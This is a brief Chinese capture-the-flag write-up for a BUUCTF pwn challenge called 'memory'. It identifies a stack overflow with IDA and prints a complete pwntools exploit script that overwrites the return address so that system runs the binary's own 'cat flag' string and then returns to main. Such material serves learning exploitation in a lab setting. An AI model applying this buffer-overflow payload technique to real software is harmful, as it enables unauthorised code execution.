1,三连
2,IDA分析
溢出点:
偏移:0x13+4
有system,无/bin/sh,但有cat flag
思路:
存在栈溢出,可以进行溢出调用system
没有/bin/sh,但是存在cat flag,同样可以用作system的参数。
需要正常结束程序(执行cat flag后hint中才有内容),所以调用system之后再调用main打印hint,即flag
3,payload
from pwn import *
context.log_level = 'debug'
# r = process("./memory")
r = remote("node4.buuoj.cn",28765)
elf = ELF("./memory")
flag_addr = 0x80487E0
system_addr = elf.symbols['system']
main_addr = elf.symbols['main']
payload = b'M'*(0x13+4) + p32(system_addr) + p32(main_addr) + p32(flag_addr)
r.sendline(payload)
r.interactive()
payload栈帧结构:
flag_addr(ret1的参数)
---------
main_addr(ret2)
------------
system_addr (ret1)
-----
bbbb
------
bbbb
完